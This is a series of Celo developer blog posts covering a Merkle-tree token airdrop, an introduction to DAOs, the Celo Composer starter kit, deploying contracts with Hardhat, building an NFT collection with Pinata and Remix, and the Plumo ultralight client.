After the script executes successfully, another file called generated-merkle-root.json will be created in the root directory which contains details such as the merkle root, eligible addresses, and respective proofs, etc.

Here’s the command to execute (from the root directory) using the path to the example eligibility list:

ts-node scripts/merkle-tree/generate-merkle-root.ts -i tutorial/example-eligibility-list.json

Now let’s work on the migration file that truffle will use to deploy the airdrop contract.

For the sake of this tutorial, I have already created the migration file called 2_deploy_airdrop.js under the migrations directory. All that’s left to do is fill in the values.

At this point, if you have not looked at the Airdrop.sol file under the contracts directory, now would be a good time to do so. Notice the constructor requires two parameters; the erc20 token address and the merkle root. These are immutable parameters that are set when the contract is created.

Okay, now open the file 2_deploy_airdrop.js under the migrations directory. Inside the functions definition is a call to the Deployer.deploy method which is the Truffle wrapper for deploying contracts to the specified network.

When creating this tutorial, I used the Celo token address on Alfajores, but you can use any other erc20 token if you’d like. Just know that the contract will have to be funded with that token.

Set the first param to the token address and the second param to the merkle root (get this from the file we generated in step 2 generated-merkle-root.json).

The file should look similar to this:

var Airdrop = artifacts.require("Airdrop");
module.exports = function (deployer) {
deployer.deploy(
Airdrop,
"0xF194afDf50B03e69Bd7D057c1Aa9e10c9954E4C9",
"0x7ecb997833ad5774cf633610d0fab6ba8cc826f1e910596b2c3943899fadcdef"
);
};

✅ Step 5: Deploy airdrop contract

In this step, we will deploy the Airdrop contract.

Make sure there is sufficient \$celo belonging to the address key you pasted in the .env file in step 1 -> we need it to pay for gas.

Run the following command from the root directory to deploy the Airdrop contract to Alfajores.

truffle migrate --network alfajores

The output should look similar to the following

Compiling your contracts...
===========================
✓ Fetching solc version list from solc-bin. Attempt #1
✓ Fetching solc version list from solc-bin. Attempt #1
> Everything is up to date, there is nothing to compile.
Starting migrations...
======================
> Network name: 'alfajores'
> Network id: 44787
> Block gas limit: 0 (0x0)
1_initial_migration.js
======================
Deploying 'Migrations'
----------------------
> transaction hash: 0xa6f66270e128cfc1837f7874757029ebfae59bba4ffd7fe5589ed949390f6241
> Blocks: 1 Seconds: 4
> contract address: 0xA2b066d5603d7ef3E9BbAFe113A69A08983dBcB5
> block number: 11160409
> block timestamp: 1651160747
> account: 0x0659f79530111c8b584af5EF499c4AfeD79a04DF
> balance: 15.994621759219476753
> gas used: 186963 (0x2da53)
> gas price: 0.5 gwei
> value sent: 0 ETH
> total cost: 0.0000934815 ETH
> Saving migration to chain.
> Saving artifacts
-------------------------------------
> Total cost: 0.0000934815 ETH
2_deploy_airdrop.js
===================
Deploying 'Airdrop'
-------------------
> transaction hash: 0xec7fedd24acad3d7efdcccb7e481c163393257ad87ba0bb1db5ae2c3bab34828
> Blocks: 0 Seconds: 0
> contract address: 0x6cA1217BdA63ff36c37F48516803015138D66cE6
> block number: 11160411
> block timestamp: 1651160757
> account: 0x0659f79530111c8b584af5EF499c4AfeD79a04DF
> balance: 15.994376757219476753
> gas used: 446869 (0x6d195)
> gas price: 0.5 gwei
> value sent: 0 ETH
> total cost: 0.0002234345 ETH
> Saving migration to chain.
> Saving artifacts
-------------------------------------
> Total cost: 0.0002234345 ETH
Summary
=======
> Total deployments: 2
> Final cost: 0.000316916 ETH

(Don’t clear your terminal 👀)

✅ Step 6: Fund the contract

At this point we have:

  • Created a Merkle tree with addresses and corresponding values
  • Deployed an Airdrop contract to Alfajores with the corresponding merkle root and token address Next, we need to fund the contract. Get the contract address from the output of the command you ran in step 4.

In the above example, that would be:

0x6cA1217BdA63ff36c37F48516803015138D66cE6

If you are using a token other than Celo or one of its stable coins, you’ll need to send a sufficient amount to that address to accommodate for this airdrop. Otherwise, head back over to the Alfajores faucet and fund the contract address.

tip

Make sure to confirm the contract address has the funds by visiting blockscout.

✅ Step 7: Claim the airdrop

Now for the fun part 😎

To claim for every address specified in the eligibility list, run the following command with the path to the generate-merkle-root.ts file

ts-node scripts/contract-interaction/claim-airdrop.ts -i generated-merkle-root.json

To claim for only one specified address, just add the -a flag followed by the address e.g.

ts-node scripts/contract-interaction/claim-airdrop.ts -i generated-merkle-root.json -a 0x6cA1217BdA63ff36c37F48516803015138D66cE6

You can now navigate to blockscout, paste the address you claimed the tokens for, and see the transaction which claimed the tokens!

Congratulations 🎉

In this tutorial, we went over what it takes to deploy and claim an airdrop on Celo at a very high level.

Although, for a production grade environment, there are some things we should alter/add. For example, the design & implementation of a token refund function that can be invoked by the contract owner. Teams typically implement an automatic refund of unclaimed tokens after some epoch to avoid unnecessary loss.

Further, users typically prefer a nice user interface opposed to running scripts via terminal; this means constructing the transaction for the user if they are eligible for the airdrop.

Finally, there are countless possibilities to go about airdropping tokens, this is merely an example of one. If you have any feedback please share! I hope you enjoyed!

· 7 min read

Introduction to DAOs and the advantages of building a DAO on Celo.

header

Hello Developers 🌱

This article gives a brief overview of DAOs and the advantages of building a DAO on Celo. Throughout this article, we’ll look at some of the popular types of DAOs and then look at what benefits Celo brings to the DAO ecosystem.

  • What is a DAO?
  • Types of DAOs
  • Why build a DAO on Celo?

Let’s go! 🚀

✅ What is a DAO?

From building Pyramids to running a multinational Corporation, “Coordination” has done marvels for humans. DAO is the latest attempt to create an efficient solution for this problem using technology.

Think of “co-operatives” where a bunch of individuals aim towards a common purpose and create value. Now managing the ownership in this organization and getting every stakeholder’s views on every crucial decision can be difficult, especially without a central intermediary.

If your community is based on the internet, forget about protecting the treasury of this community.

What Companies were in 1940 is similar to DAO in 2020

DAO is a new framework to manage large-scale human coordination, which can be loosely explained as a “group chat with a shared bank account”. They are virtual entities with a specific set of members/ shareholders who have the right to spend the entity’s funds(Treasury) only with consensus.

Smart Contracts and Public Blockchain like Ethereum, Celo are being used to provide an ecosystem for these DAOs to survive. DAOs are meant to be fundamentally transparent, with a straightforward governance process and paths to establish consensus.

DAOs can solve current economic issues

This method of forming an organization can also help reduce the wealth inequality gap. The hard truth is that we have just modernized slavery in the form of high-paying jobs with employee protection schemes. Still, these labour and wages are not an optimal solution to sustainable wealth.

Asset Ownership and Capital Access are the keys to success here.

Simply put, Capital > labour.

With web3 being a core pillar for ownership, DAOs obey the same by distributing their ownership token or governance token to the contributors.

Together, these contributors work for the common goal with utmost transparency to create wealth in the DAO and, in turn, for themselves. The next evolutionary step is to build software that is operated, funded and owned by the users.

✅ Types of DAOs

There are many categories of DAOs solving problems with different techniques. One thing common across this landscape is the tendency for constituents to act like owners and the expectation of radical transparency.

Protocol DAOs

Decentralized Exchanges (Dex), and Decentralized Finance (Defi)are the most noticeable protocols in the web3 space. It’s a popular practice to govern these protocols with DAO methodologies to bring the power back into the hands of users.

MakerDAO, Sushi, Uniswap, and Compound are some leading examples.

image

Social DAOs

The aim here is to build a robust community. It’s not so different from online hangouts, but with an extra sense of self-governance and ownership. Members often organize In-Real meetups for the community.

Example DAOs in this category include Friends with Benefits(FWB), Seed Club, CabinDAO, and Bright Moments.

image

Investment DAOs

These organizations aggregate the capital and Investors for deployment. The aim revolves around increased returns in a democratic fashion. Every investor has their share of rights with the help of DAO tokens, which are used to create new Investment proposals and vote on those proposals.

The LAO is a pioneer in the space and have grown into multiple entities, including Flamingo, Neptune, and MetaCartel.

image

Collector DAOs

Unlike Investor DAO, where profit is the motivation, Collector DAOs orient themselves to unite contributors around certain assets or collectibles, preferably NFTs. These DAOs generally do not aim to profit from these investments but rather provide institutional longevity and support, often bearing the role of curators in the long run.

Example: SquiggleDAO, MeebitsDAO, PleasrDAO, NounsDAO

image

Media DAOs

These DAO produce public content, often collaboratively, and distribute the rewards across the group. Stakeholders decide on governance, topics to cover, managing resources, etc.

Examples include Forefront, Bankless, and DarkStar.

image

DAOs exist on a broad spectrum of Decentralization and Autonomy depending on their needs. Sometimes, it makes more sense to give the organization some centralized leadership at the infancy stage, while decentralization should be adopted for large organizations to prevent the accumulation of power in the wrong hands.

Your DAO might be a brand new concept, and that is okay; just make sure that you find a community that is enthusiastic about the common vision.

✅ Why build a DAO on Celo?

Celo is a user-focused blockchain with the goal to provide prosperity for everyone. It offers a set of user-centric functionalities focused on bringing blockchain technology into the hands of mobile device users.

DAOs and other Dapps can use the following advantages of Celo when building their Web3 projects.

Mobile-First

Celo is a Mobile-First Blockchain with an ultra-light client for low-end mobile devices. This technological advancement can help bring the concept of decentralization in DAOs to a much larger scale than it currently is. Setting up a DAO, managing the tasks, and getting push notifications can be much easier with Celo with its mobile-first strategy.

Proof-of-Stake

Celo’s Proof-of-Stake mechanism will help develop DAO tooling without worrying about carbon footprint. Celo also aims to have a reserve of Natural-backed assets, which can help in establishing environmentally-concerned DAOs.

Stablecoins

One major roadblock in adopting cryptocurrency as money is its high price volatility, making it harder to adopt as a treasury. Celo provides stablecoins like cUSD, cEUR, and cREAL, which can provide a stable way of maintaining the DAO Treasuries.

Identity Layer

Public blockchains are permissionless by nature, making it difficult for some dapps that need to know about their users. Celo’s Identity Protocol allows users to associate their phone number with one or more addresses on celo Network helping them find each other easily.

Socially-oriented DAOs, where the rule is 1 member = 1 vote can also leverage this functionality to know their user's individuality to some extent.

EVM Compatible

Celo is EVM (Ethereum Virtual Machine) compatible, making it easier for solidity developers to switch chains to Celo. It is also easier to deploy Ethereum DAO Tools on Celo by simply adding the chain in your exiting dapps or forking the project and deploying it on Celo.

✅ Congratulations 🎉

That’s a wrap on our today’s topic “Getting Started with DAOs on Celo”.

We have learned about what are DAOs and why are they important, which is heavily inspired by DAOs: absorbing the internet.

Then we explored some types of DAOs with popular examples. Although every DAO can be unique on its own we have repetitive templates for which tooling can be developed.

We also covered the advantages of building your DAO on Celo. Head on to Celo Discord and connect with the DAO community using the DAOs channel.

If you want to start your own DAO you can either start from the Celo Developer Guide or wait for the next post of this series exploring DAO tools.

· 6 min read

Quickly develop full-stack progressive web applications on Celo with the Celo Composer.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Building full-stack mobile dApps with Celo Composer.

Here’s a list of what we’ll cover 🗒

  • Step 1: Set up your project repo
  • Step 2: Create a local project
  • Step 3: Set up your testnet account
  • Step 4: Deploy smart contracts​
  • Step 5: Start the front-end
  • Step 6: Explore your dApp
  • Step 7: Customize your dApp
  • Step 8: View on mobile

By the end of this post, you’ll be able to create, deploy, and interact with your mobile dApp using the Celo Composer.

Let’s go! 🚀

Introduction to Celo Composer

The Celo Composer is a starter pack to get you up and running fast with Celo DApp development. From there you can quickly build, iterate, and deploy new DApps on the Celo blockchain.

Here’s a quick look at what you’ll build:

image

tip

Learn more: View the project README

Prerequisites​

To start building, you’ll need a basic understanding of web development, Node (v12), yarn, and Git.

The Celo Composer uses the Next.js React framework with Material UI, and use-contractkit.

✅ Step 1: Set up your project repo​

Navigate to the project repo and select Use this template.

image

Add a repository name and description and click Create repository from template.

image

tip

Contributors: Celo Composer accepts community contributions! If you would like to contribute to the project, you can instead fork this repo and submit a PR to suggest improvements.

✅ Step 2: Create a local project​

From your new GitHub repository, select code, and copy the GitHub URL for your project.

image

Open your terminal, navigate to your project directory, and git clone your project using the GitHub URL.

git clone https://github.com/path-to-your-project-repo

image

Navigate into your Celo project and run nvm use to switch to a Celo compatible Node version. Celo is compatible with Node v12 as specified in .nvmrc of the project folder.

cd your-project-name
nvm use

image

Open Project

Open your project using your favorite IDE (example: VS Code).

code .

image

✅ Step 3: Setup your testnet account

Navigate into the packages/hardhat directory.

cd packages/hardhat

Install the project dependencies from within the packages/hardhat folder.

yarn install

image

Create a new account and print the account number and private key using hardhat create-account.

npx hardhat create-account
tip

Copy your PRIVATE_KEY and testnet account address into a place you can easily access them later.

image

Copy the testnet account address, paste it into the Celo Testnet Faucet and select Get Started to transfer funds into your testnet account.

image

Import a new account to MetaMask using your private key to view your newly funded Alfajores Testnet Account.

image

Check that your network is set to Celo (Alfajores Tesnet).

tip

MetaMask Setup: Learn more about setting up your Alfajores Testnet with MetaMask here

✅ Step 4: Deploy smart contracts​

Open the hardhat/.env file and replace PRIVATE_KEY with the account private key from your terminal.

image

Return to your terminal and run yarn deploy to deploy your smart contracts.

yarn deploy

Redeploy Contracts

You can run yarn deploy --reset to force re-deploy your contracts anytime you would like. This will deploy all contracts to a new address whether or not you made any changes.

yarn deploy --reset

image

✅ Step 5: Start the front-end​

Navigate into the packages/react-app folder and run yarn install to install the project front-end dependencies.

cd ../react-app
yarn install

image

Run yarn dev to start your development environment.

yarn dev

image

Open localhost:3000 to view your project.

image

✅ Step 6: Explore your dApp​

Enter a value in the write contract function and confirm the transaction to store a value.

image

Once the transaction has been complete (approximately 5 seconds) you may view the transaction using the alert that appears with a link to the Celo Alfajores Block Explorer.

image

You should now be able to view the updated storage value using the Read Storage Contract function.

image

View the Greeter Contract using the tabs to interact with a similar contract that allows you to read and write string values rather than numbers.

image

✅ Step 7: Customize your dApp​

The Celo Composer makes it easy to customize your dApp and build entirely new dApps from scratch. Here’s a quick look at where you’ll want to focus to edit or build your new dApp.

tip

For a step-by-step guide to create a new custom dApp, view Celo Composer: Extend and Customize your Full-Stack Mobile Dapps

Smart contracts

Smart contracts for this project are in the packages/hardhat/contracts folder. You may edit existing contracts or create new contracts to update the functionality of your dApp.

image

Deploy scripts

The deploy scripts for each smart contract are found in packages/hardhat/deploy/00-deploy.js.

image

Front-end

The front-end code for each smart contract interface is found in packages/react-app/components and are named as components that should be similar to the name of the smart contract.

image

✅ Step 8: View on Mobile​

Serve your React app to your mobile device for testing via a tunnel. Next.js defaults to serving your app on port 3000.

npx localtunnel --port 3000

Local Tunnel

Read more about localtunnel here.

image

Your Celo dApp is now available on your mobile device at the URL provided in your terminal.

Contribute to the project​

Celo welcomes contributions to the repository! If you decide to try this out and find something confusing, consider opening a pull request to make things more clear for the next developer. If you improve the user interface or create new components that you think might be useful for other developers, consider opening a PR.

Congratulations 🎉

That wraps up today’s topic on Building full-stack mobile dApps with Celo Composer. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a list of what we covered 🤔

  • Step 1: Set up your project repo
  • Step 2: Create a local project
  • Step 3: Set up your testnet account
  • Step 4: Deploy smart contracts​
  • Step 5: Start the front-end
  • Step 6: Explore your dApp
  • Step 7: Customize your dApp
  • Step 8: View on mobile

If you run into any issues, try reviewing the content or searching online to explore each topic in more detail. Hopefully, you’ve learned a few things about Building full-stack mobile dApps with Celo Composer that you can apply in the real world.

GN! 👋

· 10 min read

How to deploy a smart contract to Celo testnet, mainnet, or a local network using Hardhat.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Deploying on Celo with Truffle.

Here’s a list of what we’ll cover 🗒

  • Step 1: Environment setup​
  • Step 2: Project setup
  • Step 3: Write project code
  • Step 4: Configure deployment settings
  • Step 5: Compile and migrate your contract
  • Step 6: Deploy your Contract
  • Step 7: View your deployed contract
  • Step 8: Verify your smart contract

By the end of this post, you’ll be able to create, deploy, and interact with your smart contract on Celo testnet, mainnet, or localhost using Truffle.

Let’s go! 🚀

Introduction to Hardhat​

Hardhat is a development environment to compile, deploy, test, and debug your Ethereum or Celo software. It helps developers manage and automate the recurring tasks that are inherent to the process of building smart contracts and dApps, as well as easily introducing more functionality around this workflow. This means compiling, running, and testing smart contracts at the very core.

image

tip

Learn more: If you are new to Hardhat check out Hardhat.org.

✅ Step 1: Environment setup​

Before getting started you’ll need to set up Celo in your local environment. You can do this on Mac or Windows and can find the details on docs.celo.org.

image

Celo projects include common dependencies like Nodejs, npm, nvm, yarn, git, and xCode. If you already have these installed you can follow this post to set up Celo specific dependencies.

Node v12.0.0

To build on Celo you’ll need to install and use node v12.0.0.

nvm install v12.0.0
nvm use v12.0.0
node --version

Celo Command Line Interface

The celocli lets you interact with the Celo Protocol smart contracts.

npm install -g @celo/celocli

image

Install Ganache (optional)

Ganache UI creates a local blockchain to help you deploy and test contracts. You can install and set up the UI from their website and can find more details in the Ganache docs.

image

tip

The @celo/ganache-cli is Celo’s version of Ganache. It doesn’t seem to be working for me but you can try installing it in your environment.

From the Ganache UI, create a new workspace on localhost:7545.

image

✅ Step 2: Project setup

Now that you have your environment setup, you’re ready to create your project! Open your terminal to create and navigate into a project folder.

mkdir celo-hardhat && cd celo-hardhat

image

Initialize an npm project

Initialize an npm project from within the project directory.

npm init -y

image

Install dotenv

Dotenv is a module that loads environment variables from a .env file. Install this now and you’ll use this to import information to your Truffle configuration file.

npm install dotenv

image

Initialize hardhat

Adding hardhat to your project allows you to easily build, test, and deploy smart contracts. You can install using npm or npx.

npm install --save-dev hardhat

or

npx hardhat

image

tip

Learn more: Follow the installation instructions and quickstart for additional details.

Customize project settings

After initializing hardhat have the chance to customize your project settings. In this post, we’ll Create a basic sample project and accept all of the default settings.

image

Open your project

Your project is set up and you’re ready to start building! Open your project in Visual Studio code or your preferred IDE.

code .

image

tip

You can launch VS Code from the command line by installing it in your shell path.

✅ Step 3: Write project code

To build your project you’ll write a smart contract, script , .env, and .gitignore file. You’ll also create an account, fund it with test tokens, and connect the account to your project.

Smart Contract Code

Hardhat provides a Greeter.sol contract to get you started. For this post, you’ll make your own files to give you a better idea of how everything works. Start by creating a file named HelloCelo.sol in the /contracts folder and add the Solidity code below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract HelloCelo {
string public greet = "Hello Celo!";
}

image

tip

Learn more: Read the Solidity docs or Solidity by Example to learn more about the programming language for building smart contracts.

Script files

Hardhat also provides a sample-script.js file in the /scripts folder that you can use to deploy your smart contract. By default, it will deploy the Greeter.sol contract. Run the sample script to deploy this contract now!

Deploy Greeter.sol

npx hardhat run scripts/sample-script.js

image

To deploy the HelloCelo.sol contract you created, you’ll need to update the sample-script.js file to include the new smart contract information. To do this, replace lines 17–22 with the code below.

const HelloCelo = await hre.ethers.getContractFactory("HelloCelo");
const helloCelo = await HelloCelo.deploy();
await helloCelo.deployed();
console.log("HelloCelo deployed to:", helloCelo.address);

image

tip

If you created a different smart contract, update the const names, file requirement and deployment to match your new contract.

Deploy HelloCelo.sol

You can now re-run sample-script.js to deploy the HelloCelo.sol contract.

npx hardhat run scripts/sample-script.js

image

✅ Step 4: Create and fund your account

To deploy to the test or main Celo networks, you’ll need an account that is funded with CELO tokens. In this post, you’ll get set up to deploy for free on the Celo Alfajores test network!

Create an account

If you don’t already have an account you would like to use, you can run celocli account:newfrom your terminal to create one for this project.

celocli account:new

image

Fund your account

The Alfajores testnet faucet helps you fund your account with test tokens. Copy your address from the terminal and paste it into the site to fund your account. This should send you tokens within a few seconds.

image

Check account balance

If you’d like to check your new account balance, you can use celocli to make sure you received your test funds.

celocli account:balance 0xYOURADDRESS

image

Create .env file

A .env file will help you hide the sensitive information you need for your configuration file. Create a .env file in your root folder and add your account’s private key.

PRIVATE_KEY="5ead931ce4812310e31f84c471945b96a13098aa6dc8cf0d3f6f451a5dea56cc"

image

tip

See ignoring files for more information.

✅ Step 5: Configure deployment settings

The hardhat configuration file specifies the networks for your contract deployment. As of now, the sample-script.js file ​is deploying your contracts to a local blockchain on Hardhat.

Update hardhat.config

To deploy to Celo, you to update the configuration file to point to the Celo network. To do this, open hardhat-config.js in a text editor and replace its contents with this Celo configuration code.

Local network

Creating your new Ganache workspace earlier made a local blockchain at localhost:7545. The local configuration connects to this local blockchain.

localhost: {
url: "http://127.0.0.1:7545"
},
tip

If you choose to Set up a Local Development Chain, your blockchain will also be hosted on a private network on localhost. This same configuration can be used to connect to the local development chain.

Alfajores test network

The alfajores configuration uses Forno to connect you to Alfajores using the private key in your .env file.

alfajores: {
url: “https://alfajores-forno.celo-testnet.org",
accounts: [process.env.PRIVATE_KEY],
chainId: 44787,
},

Celo main network

The celo configuration uses Forno to connect you to mainnet using the private key in your .env file. This tutorial will use Alfajores but you can to deploy to the main network whenever you’d like.

celo: {
url: "https://forno.celo.org",
accounts: [process.env.PRIVATE_KEY],
chainId: 42220,
},
tip

Forno is a cLabs hosted node service for interacting with the Celo network. This allows you to connect to the Celo Blockchain without having to run your own node.

✅ Step 6: Deploy your contract

You’ve done the hard part and it’s now time to deploy your contract to Celo! Run any of the following commands from your root project directory to deploy to Celo.

Deploy to Alfajores

This post got you set up to deploy on Alfajores. Try it out now! If this works you can skip the other deployment options and move on to the next step.

npx hardhat run scripts/sample-script.js --network alfajores

Deploy to Mainnet

Replace the private key in .env with a Celo Mainnet account that has Celo. Once you’ve done that you’ll be ready to deploy to Mainnet.

npx hardhat run scripts/sample-script.js --network celo

Deploy to Local Host

Open Ganache (installation instructions at beginning of the post) and create a workspace on localhost:7545. Then you’ll be able to deploy to localhost.

npx hardhat run scripts/sample-script.js --network localhost

✅ Step 7: View your deployed contract

Now that you deployed your contract, you can view it in the Celo block explorer (known as BlockScout. Copy your contract address from the terminal and navigate to the block explorer to search for your deployed contract.

  • Switch to your network using the dropdown by the search bar.
  • Navigate to BlockScout and select the network of your deployed contract.
  • Paste your contract address from the terminal window and search for it in BlockExplorer.

image

tip

Learn more about building and deploying dApps using the HardHat documentation.

✅ Step 8: Verify your smart contract

For people to use and interact with your contract, they’ll want to be able to view the smart contract code you created. Verifying a smart contract allows people to to do this from within the Celo Block Explorer.

Using Blockscout​

Navigate to the Code tab on the Explorer page for your contract’s address Click Verify & Publish to enter the smart contract verification page

image

  • Upload your smart contract (example: HelloCelo.sol) and its .json file (example: HelloCelo.json) found in build > contracts folder.

image

  • Click Verify & Publish
  • Navigate to the Contract Address Details Page in the block explorer to, use the Code, Read Contract, and Write Contract panels to view and interact with your deployed smart contract.

Using Hardhat-deploy plugin​

You can read an in depth guide about how to deploy and verify contracts on Celo programmatically using the hardhat-deploy plugin here.

Congratulations 🎉

That wraps up today’s topic on Deploying on Celo with Hardhat. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a review of what we covered 🤔

  • Step 1: Environment setup​
  • Step 2: Project setup
  • Step 3: Write project code
  • Step 4: Configure deployment settings
  • Step 5: Compile and migrate your contract
  • Step 6: Deploy your Contract
  • Step 7: View your deployed contract
  • Step 8: Verify your smart contract

If you run into any issues, try reviewing the content or searching online to explore each topic in more detail. Hopefully, you’ve learned a few things about Deploying on Celo with Hardhat that you can apply in the real world.

GN! 👋

· 6 min read

How to deploy a smart contract to Celo testnet, mainnet, or a local network using Hardhat.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is How to quickly build an NFT collection on Celo.

Here’s a list of what we’ll cover 🗒

  • Step 1: Connect to MetaMask
  • Step 2: Upload your NFT with Pinata
  • Step 3: Create your Smart Contract (low-code)
  • Step 4: Deploy your Smart Contract
  • Step 5: Mint your NFT

By the end of this post, you’ll have an NFT collection built using MetaMask, Celo, Pinata, IPFS, OpenZeppelin, and Remix. These tools allow you to create, deploy, and manage NFTs quickly without writing any code.

Let’s go! 🚀

Before getting started

This post uses a variety of tools to help you quickly deploy your NFT on Celo. While the post allows you to follow along with no background in these tools, it may help to review some of the links below.

✅ Step 1: Connect to MetaMask

MetaMask allows you to connect to the Celo blockchain from your browser. To get started, install the Metamask browser extension.

image

  • Add Alfajores Testnet to MetaMask using the manual setup option here
  • Add CELO to your test account using the Alfajores Testnet Faucet
tip

Learn more: Check out 3 Simple Steps to Connect your MetaMask Wallet To Celo for more details.

✅ Step 2: Upload your NFT ​with Pinata

Pinata allows you to easily upload files to IPFS to use as your NFT.

image

To get started, go to Pinata and log in or sign up for an account.

image

Once logged in, select the + Upload button

image

Choose the files you would like to upload and complete the upload process.

image

You should now see the name and content identifier (CID) hash for each file.

image

You’ll now prepare the token metadata. The example uses a folder named prosper factory metadata. View the contents of the folder here.

image

Select any file to view the NFT metadata from within a browser that supports IPFS (example: Brave Browser) to see the unique image reference.

{
"image": "ipfs://QmVKCcW7c5aUs3GzW92atgFUz7N6rox7EzeibEbyJ6jBMi"
}

Next, create a folder containing metadata for each NFT you’d like to create. Upload a folder containing all of the token metadata to Pinata. This will make your NFT data publicly available.

image

This example uses a folder name prosper factory metadata. You can view the contents of the folder here. The folder contains 14 files, numbered 0–13. The names of these files are important. These file names correspond to the token ID of each NFT that will be created by the contract. Make sure that there are no extensions (.txt, .json, .jpeg, .png) on your files.

✅ Step 3: Create your Smart Contract (low-code)​

Now that your NFT image is on IPFS, you’ll create and deploy a smart contract. In this post, you’ll use OpenZeppelin, a well known smart contract library to create your smart contract without writing any code.

image

Select ERC721 as your token choice and learn more about ERC721 here.

image

  • Enter your token information (name, symbol).
  • Enter the Content Identifier (CID) from Pinata as the Base URI

image

  • Select Mintable and Auto increment ids. This gives each NFT a unique identifier that increments as new NFTs are minted.
  • Select Ownable. This restricts minting to the owner of the contract. The owner is the address you used to deploy your smart contract.

image

✅ ​Step 4: Deploy your Smart Contract

Remix is an online tool that allows you to develop, deploy, and manage smart contracts on Celo. Now that your contract is complete, you’ll use Remix to interact with your smart contract.

image

  • From the OpenZeppelin Wizard, click Open in Remix.
  • Remix will open with your OpenZeppelin contract available.
  • Click the blue button labeled Compile Contract.

image

After compiling the contract, click the Ethereum logo on the left panel to open the Deploy & Run transactions tab.

image

  • In the Environment dropdown, select Injected Web3 to connect Remix to MetaMask.
  • Check that MetaMask is connected to the correct network (example: Alfajores Testnet). This network will appear as Custom (44787).

image

Select the contract you would like to deploy (example: ProsperityFactory).

image

  • Click Deploy and confirm the transaction from MetaMask.
  • View your deployed contract from the dropdown on the bottom left corner of Remix.

image

Expand the dropdown to see each of your contract’s functions.

✅ Step 5: Mint your NFT

You’re finally ready to mint your NFT!

  • Call the safeMint function using your wallet address as the input.
  • Confirm the transaction in MetaMask to mint your first NFT.

image

You can verify that the token was minted by calling the tokenURI function with the expected token ID. Calling the contract with tokenURI = 0 will return the NFTs IPFS reference

image

This IPFS reference will show the token metadata for that NFT.

Example Image

{
"image": "ipfs://QmVKCcW7c5aUs3GzW92atgFUz7N6rox7EzeibEbyJ6jBMi"
}

Navigate to the IPFS reference to view the image for the token.

image

Congratulations 🎉

That wraps up today’s topic on how to quickly build an NFT collection on Celo. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • Step 1: Connect to MetaMask
  • Step 2: Upload your NFT with Pinata
  • Step 3: Create your Smart Contract (low-code)
  • Step 4: Deploy your Smart Contract
  • Step 5: Mint your NFT

Hopefully, you now have an NFT collection built using MetaMask, Celo, Pinata, IPFS, OpenZeppelin, and Remix. Use can now use these tools whenever you’d like to create, deploy, and manage NFTs quickly without writing any code.

GN! 👋

· 5 min read

How the Celo light client became 1.7 million times lighter than Ethereum.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Plumo: An Ultralight Blockchain Client on Celo.

Here’s a list of what we’ll cover 🗒

  • ✅ Introduction to Plumo
  • ✅ Why is Plumo important?
  • ✅ A Simple Plumo Demonstration
  • ✅ Additional Plumo Resources

By the end of this post, you’ll have a basic introduction to Plumo, tried a demo showcasing Plumo’s functionality, and have resources to help you learn more about Celo’s ultralight blockchain client.

Let’s go! 🚀

✅ Introduction to Plumo

Celo has announced the arrival of Plumo, Celo’s advanced ZK-snark-based light client protocol. Plumo, meaning feather in Esperanto, lives up to its name as an incredibly light client for the Celo blockchain.

Previously, Celo’s previous light client protocol was around 17,000 times lighter than Ethereum’s light client protocol. With Plumo, Celo is now 1.7 million times lighter.

With Plumo, Celo is now 1.7 million times lighter than Ethereum!

Anyone can now generate Plumo snark proofs that let dApps sync with the chain in a fully trustless manner. cLabs is hosting the first server that’s generating these proofs daily but anyone can run one of these.

Celo has also announced the launch of a WASM based library that lets web apps verify Plumo proofs, sync with the chain, and then verify state that’s happening as it’s fetched from full nodes on the network.

This means that for the first time in the crypto industry, applications will be able to connect to the P2P network, connect to the chain in a fully trustless manner, sync near instantly and verify state that they can request from any full node. All this is possible without having to have any trust assumptions, with those full nodes.

✅ Why is Plumo important?

Syncing the latest state of a blockchain can be a resource-intensive task, driving users towards centralized services offering easier access. To expand decentralized services to anyone with a mobile phone, Celo created a consensus-agnostic compiler for constructing ultralight clients. This provides secure and highly efficient blockchain syncing via a sequence of SNARK-based state transition proofs with formally proven security.

Plumo allows Celo nodes sync to the Celo blockchain faster with less data.

Devices can sync the latest network state summary in just a few seconds even on a low-end mobile phone. Using Plumo, each transition proof covers four months of blockchain history and can be produced for just \$25.

✅ A Simple Plumo Demonstration

You can see Plumo in action here using the Celo Wallet.

Create New Account

Once on the site, either Create New Account or Use Existing Account if you would like to use your Celo account. Follow the instructions provided to get your account details, set your password, and login to your wallet.

image

Your Celo Wallet

Once logged in, you’ll be able to view your account details.

image

Do you notice anything amazing? 🤔

Not yet?

Select the button that says Connected on the bottom right of your screen.

image

This will show you the Connection Status. Take note of the Last Block Number and close this window. Here it is 12946675.

image

Wait a few seconds… 🦗🦗🦗

Now select the Connected button again!

image

You should see that the Last Block Number is showing a newer block than it was before. In the image above the block is 12946680…an entire 5 blocks have synced since last checked.

What you’re seeing is one of many possible examples of Plumo in action. It’s live syncing Celo network data to your device in real-time using an ultralight client. This could happen on a computer, a tablet, a phone, and even a cheap phone with low bandwidth-and before Plumo it could never happen so fast.

✅ Additional Plumo Resources

A large amount of research, development, and innovation has gone into creating this light client, and there are many resources you can explore to learn more. Here are a few to help you get started.

Plumo Whitepaper

This whitepaper describes the design of Plumo as a method to develop scalable interoperable blockchains using ultra light validation systems.

image

tip

Learn more: Plumo Whitepaper

Plumo Documentation

Introduction to Plumo Ultralight Sync, its core concepts, architecture, process, and implementation.

image

tip

Celo Tech Talks Plumo

In this Celo Tech Talk, Michael Straka, Cryptography Engineering Partner will introduce you to the Plumo Protocol.

tip

Watch more: Kobi Gurkan on Plumo & Kobi Gurkan on Optimistic SNARK setups for Plumo

Additional Resources

Congratulations 🎉

